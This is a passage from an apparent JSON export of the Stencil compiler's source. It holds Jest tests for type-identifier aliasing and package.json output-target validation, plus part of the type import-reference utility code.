componentMeta = stubComponentCompilerMeta({\n        properties: [\n          stubComponentCompilerProperty({\n            defaultValue: \"'*/*'\",\n          }),\n        ],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: \"@default '*\\\\/*'\", // Editor will evaluate this as @default '*\\/*'\n          internal: false,\n          name: 'propName',\n          optional: false,\n          required: false,\n          type: 'UserCustomPropType',\n        },\n      ];\n\n      const actualTypeInfo = generatePropTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/types/tests/stencil-types.spec.ts",
    "content": "import * as d from '@stencil/core/declarations';\nimport path from 'path';\n\njest.mock('@utils', () => {\n  const originalUtils = jest.requireActual('@utils');\n  return {\n    __esModule: true,\n    ...originalUtils,\n    resolve: (...pathSegments: string[]) => pathSegments.pop(),\n  };\n});\n\nimport { updateTypeIdentifierNames } from '../stencil-types';\nimport { stubComponentCompilerMeta } from './ComponentCompilerMeta.stub';\nimport { stubComponentCompilerTypeReference } from './ComponentCompilerTypeReference.stub';\nimport { stubTypesImportData } from './TypesImportData.stub';\n\ndescribe('stencil-types', () => {\n  describe('updateTypeMemberNames', () => {\n    let dirnameSpy: jest.SpyInstance<ReturnType<typeof path.dirname>, Parameters<typeof path.dirname>>;\n\n    beforeEach(() => {\n      dirnameSpy = jest.spyOn(path, 'dirname');\n      dirnameSpy.mockImplementation((path: string) => path);\n    });\n\n    afterEach(() => {\n      dirnameSpy.mockRestore();\n    });\n\n    describe('no type transformations', () => {\n      it('returns the provided type when no type references exist', () => {\n        const expectedTypeName = 'CustomType';\n\n        const actualTypeName = updateTypeIdentifierNames(\n          {},\n          {},\n          stubComponentCompilerMeta().sourceFilePath,\n          expectedTypeName,\n        );\n\n        expect(actualTypeName).toBe(expectedTypeName);\n      });\n\n      it('returns the provided type when no type reference matches are found in the import data', () => {\n        const typeReferences: d.ComponentCompilerTypeReferences = {\n          AnotherType: stubComponentCompilerTypeReference({ location: 'import', path: 'some/stubbed/path' }),\n        };\n        const expectedTypeName = 'CustomType';\n\n        const actualTypeName = updateTypeIdentifierNames(\n          typeReferences,\n          {},\n          stubComponentCompilerMeta().sourceFilePath,\n          expectedTypeName,\n        );\n\n        expect(actualTypeName).toBe(expectedTypeName);\n      });\n\n      it('returns the provided type for imports without a path', () => {\n        const expectedTypeName = 'CustomType';\n        const typeReferences: d.ComponentCompilerTypeReferences = {\n          // pretend that the expected type name is a globally accessible type, and therefore has no path\n          [expectedTypeName]: stubComponentCompilerTypeReference({ location: 'global' }),\n        };\n\n        const actualTypeName = updateTypeIdentifierNames(\n          typeReferences,\n          {},\n          stubComponentCompilerMeta().sourceFilePath,\n          expectedTypeName,\n        );\n\n        expect(actualTypeName).toBe(expectedTypeName);\n      });\n\n      it('returns the provided type for imports without the resolved file', () => {\n        const expectedTypeName = 'CustomType';\n        const typeReferences: d.ComponentCompilerTypeReferences = {\n          // we're testing the `path` value doesn't exist on the type import data.\n          // in practice this should never happen, but let's ensure that we cover this case explicitly in tests\n          [expectedTypeName]: stubComponentCompilerTypeReference({\n            location: 'import',\n            path: 'some/mock/unknown/path',\n          }),\n        };\n\n        const actualTypeName = updateTypeIdentifierNames(\n          typeReferences,\n          {},\n          stubComponentCompilerMeta().sourceFilePath,\n          expectedTypeName,\n        );\n\n        expect(actualTypeName).toBe(expectedTypeName);\n      });\n\n      it(\"does not change a simple type when there's no import name to alias\", () => {\n        const initialType = 'InitialType';\n        const basePath = '~/some/stubbed/path';\n        const typePath = `${basePath}/my-types`;\n\n        const componentCompilerMeta = stubComponentCompilerMeta({\n          sourceFilePath: `${basePath}/my-component.tsx`,\n        });\n        const typeReferences: d.ComponentCompilerTypeReferences = {\n          [initialType]: stubComponentCompilerTypeReference({ location: 'import', path: typePath }),\n        };\n        const typeImports = stubTypesImportData({\n          [typePath]: [\n            {\n              localName: 'SomeOtherType',\n              originalName: 'SomeOtherType',\n            },\n          ],\n        });\n\n        const actualTypeName = updateTypeIdentifierNames(\n          typeReferences,\n          typeImports,\n          componentCompilerMeta.sourceFilePath,\n          initialType,\n        );\n\n        expect(actualTypeName).toBe(initialType);\n      });\n    });\n\n    describe('path resolution', () => {\n      it('replaces a simple type for a relative path beginning with \".\"', () => {\n        const initialType = 'InitialType';\n        const expectedType = 'NonCollisionType';\n        const basePath = './some/stubbed/path';\n\n        expectTypeTransformForPath(basePath, initialType, expectedType);\n      });\n\n      it('replaces a simple type for a relative path beginning with \"..\"', () => {\n        const initialType = 'InitialType';\n        const expectedType = 'NonCollisionType';\n        const basePath = '../some/stubbed/path';\n\n        expectTypeTransformForPath(basePath, initialType, expectedType);\n      });\n\n      it('replaces a simple type for an absolute path', () => {\n        const initialType = 'InitialType';\n        const expectedType = 'NonCollisionType';\n        const basePath = '~/some/stubbed/path';\n\n        expectTypeTransformForPath(basePath, initialType, expectedType);\n      });\n\n      /**\n       * Test helper for performing boilerplate setup to verify some initial type T is transformed to a new type T'.\n       * This helper asserts that the generated type matches T'.\n       *\n       * This helper is meant to be used to test that transformation occurs based on the format/type of `basePath`\n       * provided (e.g. relative vs absolute).\n       *\n       * @param basePath the path to use when running the type resolution\n       * @param initialType the original type found in a class member\n       * @param expectedType the type that is expected to be generated\n       */\n      const expectTypeTransformForPath = (basePath: string, initialType: string, expectedType: string): void => {\n        const typePath = `${basePath}/my-types`;\n\n        const componentCompilerMeta = stubComponentCompilerMeta({\n          sourceFilePath: `${basePath}/my-component.tsx`,\n        });\n\n        const typeReferences: d.ComponentCompilerTypeReferences = {\n          [initialType]: stubComponentCompilerTypeReference({ location: 'import', path: typePath }),\n        };\n        const typeImports = stubTypesImportData({\n          [typePath]: [\n            {\n              localName: initialType,\n              originalName: initialType,\n              importName: expectedType,\n            },\n          ],\n        });\n\n        const actualTypeName = updateTypeIdentifierNames(\n          typeReferences,\n          typeImports,\n          componentCompilerMeta.sourceFilePath,\n          initialType,\n        );\n\n        expect(actualTypeName).toBe(expectedType);\n      };\n    });\n\n    it('replaces method signature types', () => {\n      const initialType = '(name: SomeType) => Promise<void>';\n      const expectedType = '(name: SomeOtherType) => Promise<void>';\n      const typeMemberNames = [\n        {\n          localName: 'SomeType',\n          originalName: 'SomeType',\n          importName: 'SomeOtherType',\n        },\n      ];\n\n      expectTypeIsTransformed(initialType, expectedType, typeMemberNames);\n    });\n\n    it('replaces duplicate types', () => {\n      const initialType = '(myVal: Ar) => Promise<Ar>';\n      const expectedType = '(myVal: Ar1) => Promise<Ar1>';\n      const typeMemberNames = [\n        {\n          localName: 'Ar',\n          originalName: 'Ar',\n          importName: 'Ar1',\n        },\n      ];\n\n      expectTypeIsTransformed(initialType, expectedType, typeMemberNames);\n    });\n\n    it('replaces types that are substrings safely', () => {\n      const initialType = '(ar: Ar) => Promise<Array<Ar>>';\n      const expectedType = '(ar: Ar1) => Promise<Array<Ar1>>';\n      const typeMemberNames = [\n        {\n          localName: 'Ar',\n          originalName: 'Ar',\n          importName: 'Ar1',\n        },\n      ];\n\n      expectTypeIsTransformed(initialType, expectedType, typeMemberNames);\n    });\n\n    it('replaces union types', () => {\n      const initialType = '(myVal: SomeType | AnotherType) => Promise<SomeType | AnotherType>';\n      const expectedType = '(myVal: SomeType1 | AnotherType1) => Promise<SomeType1 | AnotherType1>';\n      const typeMemberNames = [\n        {\n          localName: 'SomeType',\n          originalName: 'SomeType',\n          importName: 'SomeType1',\n        },\n        {\n          localName: 'AnotherType',\n          originalName: 'AnotherType',\n          importName: 'AnotherType1',\n        },\n      ];\n\n      expectTypeIsTransformed(initialType, expectedType, typeMemberNames);\n    });\n\n    it(\"doesn't replace string literals in types\", () => {\n      const initialType = '(myVal: ReadonlyArray<\"SomeType\">) => Promise<SomeType>';\n      const expectedType = '(myVal: ReadonlyArray<\"SomeType\">) => Promise<SomeType1>';\n      const typeMemberNames = [\n        {\n          localName: 'SomeType',\n          originalName: 'SomeType',\n          importName: 'SomeType1',\n        },\n      ];\n\n      expectTypeIsTransformed(initialType, expectedType, typeMemberNames);\n    });\n\n    // TODO(STENCIL-419): Re-enable this test\n    it.skip(\"doesn't replace resolved types\", () => {\n      /**\n       * Edge case, consider the following scenario:\n       * ```ts\n       * type SomeType = 'OneThing'\n       * const SomeType = 'Something' as const;\n       * type FnType = (myVal: ReadonlyArray<`${typeof SomeType}`>) => Promise<SomeType>;\n       * ```\n       *\n       * - `myVal` will resolve to `readonly 'Something'[]`\n       * - the return type will resolve to Promise<'OneThing'>;\n       */\n      const initialType = '(myVal: ReadonlyArray<`${typeof SomeType}`>) => Promise<SomeType>';\n      const expectedType = '(myVal: ReadonlyArray<`${typeof SomeType}`>) => Promise<SomeType1>';\n      const typeMemberNames = [\n        {\n          localName: 'SomeType',\n          originalName: 'SomeType',\n          importName: 'SomeType1',\n        },\n      ];\n\n      expectTypeIsTransformed(initialType, expectedType, typeMemberNames);\n    });\n\n    /**\n     * Test helper for performing boilerplate setup to verify some initial type T is transformed to a new type T'. This\n     * helper asserts that the generated type matches T'.\n     * @param initialType the original type found in a class member\n     * @param expectedType the type that is expected to be generated\n     * @param typeMemberNames a series of aliases that map a locally used type T to some other type T2\n     */\n    const expectTypeIsTransformed = (\n      initialType: string,\n      expectedType: string,\n      typeMemberNames: d.TypesMemberNameData[],\n    ) => {\n      const basePath = '~/some/stubbed/path';\n\n      const componentCompilerMeta = stubComponentCompilerMeta({\n        sourceFilePath: `${basePath}/my-component.tsx`,\n      });\n\n      const typeReferences: d.ComponentCompilerTypeReferences = {\n        [initialType]: stubComponentCompilerTypeReference({ location: 'import', path: `${basePath}/my-types` }),\n      };\n      const typeImports = stubTypesImportData({\n        [`${basePath}/my-types`]: typeMemberNames,\n      });\n\n      const actualTypeName = updateTypeIdentifierNames(\n        typeReferences,\n        typeImports,\n        componentCompilerMeta.sourceFilePath,\n        initialType,\n      );\n\n      expect(actualTypeName).toBe(expectedType);\n    };\n  });\n});\n"
  },
  {
    "path": "src/compiler/types/tests/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/compiler/types/tests/validate-package-json.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockBuildCtx, mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport { normalizePath } from '@utils';\nimport path from 'path';\n\nimport * as v from '../validate-build-package-json';\n\ndescribe('validate-package-json', () => {\n  let config: d.ValidatedConfig;\n  let compilerCtx: d.CompilerCtx;\n  let buildCtx: d.BuildCtx;\n  let collectionOutputTarget: d.OutputTargetDistCollection;\n  const root = path.resolve('/');\n\n  beforeEach(async () => {\n    collectionOutputTarget = {\n      type: 'dist-collection',\n      dir: '/dist',\n      collectionDir: '/dist/collection',\n    };\n\n    const namespace = 'SomeNamespace';\n    config = mockValidatedConfig({\n      devMode: false,\n      fsNamespace: namespace.toLowerCase(),\n      namespace,\n      packageJsonFilePath: path.join(root, 'package.json'),\n    });\n    compilerCtx = mockCompilerCtx(config);\n    buildCtx = mockBuildCtx(config, compilerCtx);\n    buildCtx.packageJson = {};\n    await compilerCtx.fs.writeFile(config.packageJsonFilePath, JSON.stringify(buildCtx.packageJson));\n  });\n\n  describe('files', () => {\n    it('should validate files \"dist/\"', async () => {\n      const distPath = path.join(root, 'dist');\n      await compilerCtx.fs.emptyDirs([distPath]);\n      await compilerCtx.fs.commit();\n      buildCtx.packageJson.files = ['dist/'];\n      await v.validatePackageFiles(config, compilerCtx, buildCtx, collectionOutputTarget);\n      expect(buildCtx.diagnostics).toHaveLength(0);\n    });\n\n    it('should validate files \"./dist/\"', async () => {\n      const distPath = path.join(root, 'dist');\n      await compilerCtx.fs.emptyDirs([distPath]);\n      await compilerCtx.fs.commit();\n      buildCtx.packageJson.files = ['./dist/'];\n      await v.validatePackageFiles(config, compilerCtx, buildCtx, collectionOutputTarget);\n      expect(buildCtx.diagnostics).toHaveLength(0);\n    });\n\n    it('should validate files \"./dist\"', async () => {\n      const distPath = path.join(root, 'dist');\n      await compilerCtx.fs.emptyDirs([distPath]);\n      await compilerCtx.fs.commit();\n      buildCtx.packageJson.files = ['./dist'];\n      await v.validatePackageFiles(config, compilerCtx, buildCtx, collectionOutputTarget);\n      expect(buildCtx.diagnostics).toHaveLength(0);\n    });\n\n    it('should validate files \"dist\"', async () => {\n      const distPath = path.join(root, 'dist');\n      await compilerCtx.fs.emptyDirs([distPath]);\n      await compilerCtx.fs.commit();\n      buildCtx.packageJson.files = ['dist'];\n      await v.validatePackageFiles(config, compilerCtx, buildCtx, collectionOutputTarget);\n      expect(buildCtx.diagnostics).toHaveLength(0);\n    });\n\n    it('should error when files array misses dist/', async () => {\n      buildCtx.packageJson.files = [];\n      await v.validatePackageFiles(config, compilerCtx, buildCtx, collectionOutputTarget);\n      expect(buildCtx.diagnostics[0].messageText).toMatch(/array must contain the distribution directory/);\n      expect(buildCtx.diagnostics[0].messageText).toMatch(/\"dist\\/\"/);\n    });\n  });\n\n  describe('main', () => {\n    it('main cannot be the old loader', async () => {\n      compilerCtx.fs.writeFile(path.join(root, 'dist', 'somenamespace.js'), '');\n      compilerCtx.fs.writeFile(path.join(root, 'dist', 'index.cjs.js'), '');\n      buildCtx.packageJson.main = 'dist/somenamespace.js';\n      v.validateMain(config, compilerCtx, buildCtx, collectionOutputTarget);\n      expect(buildCtx.diagnostics).toHaveLength(1);\n    });\n\n    it('validate main', async () => {\n      compilerCtx.fs.writeFile(path.join(root, 'dist', 'index.cjs.js'), '');\n      buildCtx.packageJson.main = 'dist/index.cjs.js';\n      v.validateMain(config, compilerCtx, buildCtx, collectionOutputTarget);\n      expect(buildCtx.diagnostics).toHaveLength(0);\n    });\n\n    it('missing main', async () => {\n      v.validateMain(config, compilerCtx, buildCtx, collectionOutputTarget);\n      expect(buildCtx.diagnostics).toHaveLength(1);\n    });\n  });\n\n  describe('collection', () => {\n    it('should produce a warning when missing collection property', async () => {\n      v.validateCollection(config, compilerCtx, buildCtx, collectionOutputTarget);\n\n      expect(buildCtx.diagnostics[0].messageText).toMatch(/package.json \"collection\" property is required/);\n      expect(buildCtx.diagnostics[0].level).toBe('warn');\n    });\n\n    it('should produce a warning if the supplied path does not match the recommended path', () => {\n      buildCtx.packageJson.collection = 'bad/path';\n\n      v.validateCollection(config, compilerCtx, buildCtx, collectionOutputTarget);\n\n      expect(buildCtx.diagnostics[0].messageText).toBe(\n        `package.json \"collection\" property is required when generating a distribution and must be set to: ${normalizePath(\n          'dist/collection/collection-manifest.json',\n          false,\n        )}`,\n      );\n      expect(buildCtx.diagnostics[0].level).toBe('warn');\n    });\n\n    it('should not produce a warning if the normalized paths are the same', () => {\n      buildCtx.packageJson.collection = './dist/collection/collection-manifest.json';\n\n      v.validateCollection(config, compilerCtx, buildCtx, collectionOutputTarget);\n\n      expect(buildCtx.diagnostics.length).toEqual(0);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/types/tests/validate-primary-package-output-target.spec.ts",
    "content": "import { mockBuildCtx, mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\n\nimport type * as d from '../../../declarations';\nimport {\n  PRIMARY_PACKAGE_TARGET_CONFIGS,\n  PrimaryPackageOutputTargetRecommendedConfig,\n  validateModulePath,\n  validatePrimaryPackageOutputTarget,\n  validateTypesPath,\n} from '../validate-primary-package-output-target';\n\ndescribe('validatePrimaryPackageOutputTarget', () => {\n  let config: d.ValidatedConfig;\n  let compilerCtx: d.CompilerCtx;\n  let buildCtx: d.BuildCtx;\n\n  beforeEach(() => {\n    config = mockValidatedConfig({\n      validatePrimaryPackageOutputTarget: true,\n      outputTargets: [\n        {\n          type: 'dist',\n          isPrimaryPackageOutputTarget: true,\n          dir: '/dist',\n          typesDir: '/dist/types',\n        },\n      ],\n    });\n\n    compilerCtx = mockCompilerCtx(config);\n    compilerCtx.fs.accessSync = () => true;\n\n    buildCtx = mockBuildCtx(config, compilerCtx);\n    buildCtx.packageJson.module = 'dist/index.js';\n    buildCtx.packageJson.types = 'dist/types/index.d.ts';\n  });\n\n  describe('check basic Stencil config scenarios', () => {\n    it('should log a warning if `validatePrimaryPackageOutputTarget` is `false` but primary targets are set', () => {\n      config.validatePrimaryPackageOutputTarget = false;\n\n      validatePrimaryPackageOutputTarget(config, compilerCtx, buildCtx);\n\n      expect(buildCtx.diagnostics.length).toBe(1);\n      expect(buildCtx.diagnostics[0].level).toEqual('warn');\n      expect(buildCtx.diagnostics[0].messageText).toEqual(\n        'Your Stencil project has designated a primary package output target without enabling primary package validation for your project. Either set `validatePrimaryPackageOutputTarget: true` in your Stencil config or remove `isPrimaryPackageOutputTarget: true` from all output targets. You can read more about primary package output targets in the Stencil docs: https://stenciljs.com/docs/output-targets#primary-package-output-target-validation',\n      );\n    });\n\n    it('should log a warning if any non-eligible targets were marked as `isPrimaryPackageOutputTarget`', () => {\n      config.outputTargets = [\n        {\n          type: 'copy',\n          isPrimaryPackageOutputTarget: true,\n        },\n      ] as any[];\n\n      validatePrimaryPackageOutputTarget(config, compilerCtx, buildCtx);\n\n      expect(buildCtx.diagnostics.length).toBe(1);\n      expect(buildCtx.diagnostics[0].level).toEqual('warn');\n      expect(buildCtx.diagnostics[0].messageText).toEqual(\n        `Your Stencil project has assigned one or more ineligible output targets as the primary package output target. No validation will take place. Please remove the 'isPrimaryPackageOutputTarget' flag from the following output targets in your Stencil config: copy. You can read more about primary package output targets in the Stencil docs: https://stenciljs.com/docs/output-targets#primary-package-output-target-validation`,\n      );\n    });\n\n    it('should log a warning if no eligible targets were marked as `isPrimaryPackageOutputTarget`', () => {\n      config.outputTargets = [\n        {\n          type: 'dist',\n        },\n      ];\n\n      validatePrimaryPackageOutputTarget(config, compilerCtx, buildCtx);\n\n      expect(buildCtx.diagnostics.length).toBe(1);\n      expect(buildCtx.diagnostics[0].level).toEqual('warn');\n      expect(buildCtx.diagnostics[0].messageText).toEqual(\n        `Your Stencil project has not assigned a primary package output target. Stencil recommends that you assign a primary output target so it can validate values for fields in your project's 'package.json'. You can read more about primary package output targets in the Stencil docs: https://stenciljs.com/docs/output-targets#primary-package-output-target-validation`,\n      );\n    });\n\n    it('should log a warning if multiple targets were marked as `isPrimaryPackageOutputTarget`', () => {\n      config.outputTargets = [\n        ...config.outputTargets,\n        {\n          type: 'dist-custom-elements',\n          isPrimaryPackageOutputTarget: true,\n        },\n      ];\n\n      validatePrimaryPackageOutputTarget(config, compilerCtx, buildCtx);\n\n      expect(buildCtx.diagnostics.length).toBe(1);\n      expect(buildCtx.diagnostics[0].level).toEqual('warn');\n      expect(buildCtx.diagnostics[0].messageText).toEqual(\n        `Your Stencil config has multiple output targets with 'isPrimaryPackageOutputTarget: true'. Stencil does not support validating 'package.json' fields for multiple output targets. Please remove the 'isPrimaryPackageOutputTarget' flag from all but one of the following output targets: dist, dist-custom-elements. For now, Stencil will use the first primary target it finds. You can read more about primary package output targets in the Stencil docs: https://stenciljs.com/docs/output-targets#primary-package-output-target-validation`,\n      );\n    });\n  });\n\n  describe('validateModulePath', () => {\n    it('should log a warning if no module path is provided', () => {\n      delete buildCtx.packageJson.module;\n\n      const targetToValidate: d.EligiblePrimaryPackageOutputTarget = {\n        type: 'dist',\n        dir: '/dist',\n      };\n      const recommendedOutputTargetConfig = PRIMARY_PACKAGE_TARGET_CONFIGS[targetToValidate.type];\n\n      validateModulePath(config, compilerCtx, buildCtx, recommendedOutputTargetConfig, targetToValidate);\n\n      expect(buildCtx.diagnostics.length).toBe(1);\n      expect(buildCtx.diagnostics[0].level).toEqual('warn');\n      expect(buildCtx.diagnostics[0].messageText).toEqual(\n        `package.json \"module\" property is required when generating a distribution. It's recommended to set the \"module\" property to: ./dist/index.js`,\n      );\n    });\n\n    describe.each<[d.EligiblePrimaryPackageOutputTarget & { toString(): string }, string]>([\n      [\n        {\n          type: 'dist',\n          dir: '/dist',\n          toString: () => 'dist',\n        },\n        './dist/index.js',\n      ],\n      [\n        {\n          type: 'dist-collection',\n          dir: '/dist',\n          collectionDir: '/dist/collection',\n          toString: () => 'dist-collection',\n        },\n        './dist/index.js',\n      ],\n      [\n        {\n          type: 'dist-custom-elements',\n          dir: '/dist/components',\n          toString: () => 'dist-custom-elements',\n        },\n        './dist/components/index.js',\n      ],\n    ])('output target type - %s', (outputTarget, recommendedPath) => {\n      it('should log a warning if the set module path does not match the recommended path', () => {\n        buildCtx.packageJson.module = '/dist/tmp/index.js';\n\n        validateModulePath(\n          config,\n          compilerCtx,\n          buildCtx,\n          PRIMARY_PACKAGE_TARGET_CONFIGS[outputTarget.type],\n          outputTarget,\n        );\n\n        expect(buildCtx.diagnostics.length).toBe(1);\n        expect(buildCtx.diagnostics[0].level).toEqual('warn');\n        expect(buildCtx.diagnostics[0].messageText).toEqual(\n          `package.json \"module\" property is set to \"${buildCtx.packageJson.module}\". It's recommended to set the \"module\" property to: ${recommendedPath}`,\n        );\n      });\n\n      it('should not log a warning if the recommended path is used', () => {\n        buildCtx.packageJson.module = recommendedPath;\n\n        validateModulePath(\n          config,\n          compilerCtx,\n          buildCtx,\n          PRIMARY_PACKAGE_TARGET_CONFIGS[outputTarget.type],\n          outputTarget,\n        );\n\n        expect(buildCtx.diagnostics.length).toBe(0);\n      });\n    });\n  });\n\n  describe('validateTypesPath', () => {\n    let targetToValidate: d.EligiblePrimaryPackageOutputTarget;\n    let recommendedOutputTargetConfig: PrimaryPackageOutputTargetRecommendedConfig;\n\n    beforeEach(() => {\n      targetToValidate = {\n        type: 'dist-types',\n        dir: '/dist/types',\n        typesDir: '/dist/types',\n      };\n      recommendedOutputTargetConfig = PRIMARY_PACKAGE_TARGET_CONFIGS[targetToValidate.type];\n    });\n\n    it('should log a warning if no types path is provided', () => {\n      delete buildCtx.packageJson.types;\n\n      validateTypesPath(config, compilerCtx, buildCtx, recommendedOutputTargetConfig, targetToValidate);\n\n      expect(buildCtx.diagnostics.length).toBe(1);\n      expect(buildCtx.diagnostics[0].level).toEqual('warn');\n      expect(buildCtx.diagnostics[0].messageText).toEqual(\n        `package.json \"types\" property is required when generating a distribution. It's recommended to set the \"types\" property to: ./dist/types/index.d.ts`,\n      );\n    });\n\n    it('should log a warning if the types path does not have a \".d.ts\" extension', () => {\n      buildCtx.packageJson.types = '/dist/types/index.ts';\n\n      validateTypesPath(config, compilerCtx, buildCtx, recommendedOutputTargetConfig, targetToValidate);\n\n      expect(buildCtx.diagnostics.length).toBe(1);\n      expect(buildCtx.diagnostics[0].level).toEqual('warn');\n      expect(buildCtx.diagnostics[0].messageText).toEqual(\n        `package.json \"types\" file must have a \".d.ts\" extension. The \"types\" property is currently set to: /dist/types/index.ts`,\n      );\n    });\n\n    it('should log a error if the types file cannot be accessed', () => {\n      compilerCtx.fs.accessSync = () => false;\n\n      validateTypesPath(config, compilerCtx, buildCtx, recommendedOutputTargetConfig, targetToValidate);\n\n      expect(buildCtx.diagnostics.length).toBe(1);\n      expect(buildCtx.diagnostics[0].level).toEqual('error');\n      expect(buildCtx.diagnostics[0].messageText).toEqual(\n        `package.json \"types\" property is set to \"dist/types/index.d.ts\" but cannot be found.`,\n      );\n    });\n\n    describe.each<[d.EligiblePrimaryPackageOutputTarget & { toString(): string }, string]>([\n      [\n        {\n          type: 'dist',\n          dir: '/dist',\n          typesDir: '/dist/types',\n          toString: () => 'dist',\n        },\n        './dist/types/index.d.ts',\n      ],\n      [\n        {\n          type: 'dist-types',\n          dir: '/dist',\n          typesDir: '/dist/types',\n          toString: () => 'dist-types',\n        },\n        './dist/types/index.d.ts',\n      ],\n      [\n        {\n          type: 'dist-custom-elements',\n          dir: '/dist/components',\n          generateTypeDeclarations: true,\n          toString: () => 'dist-custom-elements',\n        },\n        './dist/components/index.d.ts',\n      ],\n    ])('output target type - %s', (outputTarget, recommendedPath) => {\n      it('should log a warning if the set types path does not match the recommended path', () => {\n        buildCtx.packageJson.types = '/dist/tmp/index.d.ts';\n\n        validateTypesPath(\n          config,\n          compilerCtx,\n          buildCtx,\n          PRIMARY_PACKAGE_TARGET_CONFIGS[outputTarget.type],\n          outputTarget,\n        );\n\n        expect(buildCtx.diagnostics.length).toBe(1);\n        expect(buildCtx.diagnostics[0].level).toEqual('warn');\n        expect(buildCtx.diagnostics[0].messageText).toEqual(\n          `package.json \"types\" property is set to \"${buildCtx.packageJson.types}\". It's recommended to set the \"types\" property to: ${recommendedPath}`,\n        );\n      });\n\n      it('should not log anything if the recommended path is used and accessible', () => {\n        buildCtx.packageJson.types = recommendedPath;\n\n        validateTypesPath(\n          config,\n          compilerCtx,\n          buildCtx,\n          PRIMARY_PACKAGE_TARGET_CONFIGS[outputTarget.type],\n          targetToValidate,\n        );\n\n        expect(buildCtx.diagnostics.length).toBe(0);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/types/types-utils.ts",
    "content": "import type * as d from '../../declarations';\n\nexport const COMPONENTS_DTS_HEADER = `/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */`;\n\nexport const sortImportNames = (a: d.TypesMemberNameData, b: d.TypesMemberNameData) => {\n  const aName = a.localName.toLowerCase();\n  const bName = b.localName.toLowerCase();\n  if (aName < bName) return -1;\n  if (aName > bName) return 1;\n  if (a.localName < b.localName) return -1;\n  if (a.localName > b.localName) return 1;\n  return 0;\n};\n"
  },
  {
    "path": "src/compiler/types/update-import-refs.ts",
    "content": "import { resolve } from '@utils';\nimport { dirname } from 'path';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\n\n/**\n * Find all referenced types by a component and add them to the `importDataObj` parameter\n * @param importDataObj an output parameter that contains the imported types seen thus far by the compiler\n * @param typeCounts a map of seen types and the number of times the type has been seen\n * @param cmp the metadata associated with the component whose types are being inspected\n * @param filePath the path of the component file\n * @param config The Stencil config for the project\n * @returns the updated import data\n */\nexport const updateReferenceTypeImports = (\n  importDataObj: d.TypesImportData,\n  typeCounts: Map<string, number>,\n  cmp: d.ComponentCompilerMeta,\n  filePath: string,\n  config: d.ValidatedConfig,\n): d.TypesImportData => {\n  const updateImportReferences = updateImportReferenceFactory(typeCounts, filePath, config);\n\n  return [...cmp.properties, ...cmp.events, ...cmp.methods]\n    .filter(\n      (cmpProp: d.ComponentCompilerProperty | d.ComponentCompilerEvent | d.ComponentCompilerMethod) =>\n        cmpProp.complexType && cmpProp.complexType.references,\n    )\n    .reduce((typesImportData: d.TypesImportData, cmpProp) => {\n      return updateImportReferences(typesImportData, cmpProp.complexType.references);\n    }, importDataObj);\n};\n\n/**\n * Describes a function that updates type import references for a file\n * @param existingTypeImportData locally/imported/globally used type names. This data structure keeps track of the name\n * of the type that is used in a file, and an alias that Stencil may have generated for the name to avoid collisions.\n * @param typesReferences type references from a single file\n * @returns updated type import data\n */\ntype ImportReferenceUpdater = (\n  existingTypeImportData: d.TypesImportData,\n  typeReferences: { [key: string]: d.ComponentCompilerTypeReference },\n) => d.TypesImportData;\n\n/**\n * Factory function to create an `ImportReferenceUpdater` instance\n * @param typeCounts a key-value store of seen type names and the number of times the type name has been seen\n * @param filePath the path of the file containing the component whose imports are being inspected\n * @param config The Stencil config for the project\n * @returns an `ImportReferenceUpdater` instance for updating import references in the provided `filePath`\n */\nconst updateImportReferenceFactory = (\n  typeCounts: Map<string, number>,\n  filePath: string,\n  config: d.ValidatedConfig,\n): ImportReferenceUpdater => {\n  /**\n   * Determines the number of times that a type identifier (name) has been used. If an identifier has been used before,\n   * append the number of times the identifier has been seen to its name to avoid future naming collisions\n   * @param name the identifier name to check for previous usages\n   * @returns the identifier name, potentially with an integer appended to its name if it has been seen before.\n   */\n  function getIncrementTypeName(name: string): string {\n    const counter = typeCounts.get(name);\n    if (counter === undefined) {\n      typeCounts.set(name, 1);\n      return name;\n    }\n    typeCounts.set(name, counter + 1);\n    return `${name}${counter}`;\n  }\n\n  return (\n    existingTypeImportData: d.TypesImportData,\n    typeReferences: { [key: string]: d.ComponentCompilerTypeReference },\n  ): d.TypesImportData => {\n    Object.keys(typeReferences)\n      .map<[string, d.ComponentCompilerTypeReference]>((typeName) => {\n        return [typeName, typeReferences[typeName]];\n      })\n      .forEach(([typeName, typeReference]) => {\n        let importResolvedFile: string;\n\n        // If global then there is no import statement needed\n        if (typeReference.location === 'global') {\n          return;\n\n          // If local then import location is the current file\n        } else if (typeReference.location === 'local') {\n          importResolvedFile = filePath;\n        } else {\n          importResolvedFile = typeReference.path!;\n\n          // We only care to resolve any _potential_ aliased\n          // modules if we're not already certain the path isn't an alias.\n          // We also don't want to transform aliases unless the user has enabled the behavior\n          // in their Stencil config\n          if (config.transformAliasedImportPaths && !importResolvedFile.startsWith('.')) {\n            const { resolvedModule } = ts.resolveModuleName(\n              typeReference.path!,\n              filePath,\n              config.tsCompilerOptions,\n              ts.createCompilerHost(config.tsCompilerOptions),\n            );\n\n            if (resolvedModule && !resolvedModule.isExternalLibraryImport && resolvedModule.resolvedFileName) {\n              importResolvedFile = resolvedModule.resolvedFileName;\n            }\n          }\n        }\n\n        // If this is a relative path make it absolute\n        if (importResolvedFile.startsWith('.')) {\n          importResolvedFile = resolve(dirname(filePath), importResolvedFile);\n        }\n        existingTypeImportData[importResolvedFile] = existingTypeImportData[importResolvedFile] || [];\n\n        // If this file already has a reference to this type move on\n        if (existingTypeImportData[importResolvedFile].find((df) => df.localName === typeName)) {\n          return;\n        }\n\n        const newTypeName = getIncrementTypeName(typeName);\n\n        // Get the original export name:\n        // - If referenceLocation is set, use it (it's the name from the import statement)\n        // - Otherwise extract from type ID for backwards compatibility\n        let originalExportName: string;\n        if (typeReference.referenceLocation) {\n          